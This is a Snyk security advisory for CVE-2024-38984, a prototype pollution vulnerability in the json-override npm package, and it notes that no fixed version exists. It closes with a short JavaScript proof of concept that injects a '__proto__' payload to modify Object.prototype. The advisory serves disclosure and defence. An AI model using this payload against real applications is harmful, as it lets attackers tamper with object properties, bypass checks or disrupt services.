Improper Control of Dynamically-Managed Code Resources Affecting json-override package, versions *
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-JSONOVERRIDE-7575312
- published31 Jul 2024
- disclosed30 Jul 2024
- creditmestrtee
Introduced: 30 Jul 2024
CVE-2024-38984 (opens in a new tab)How to fix?
There is no fixed version for json-override.
Overview
json-override is an Override properties of one JS object with those of another.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the __proto__ property. An attacker can manipulate the object prototype, leading to potential unauthorized access or service disruption by modifying object properties.
PoC
(async () => {
const lib = await import('json-override');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();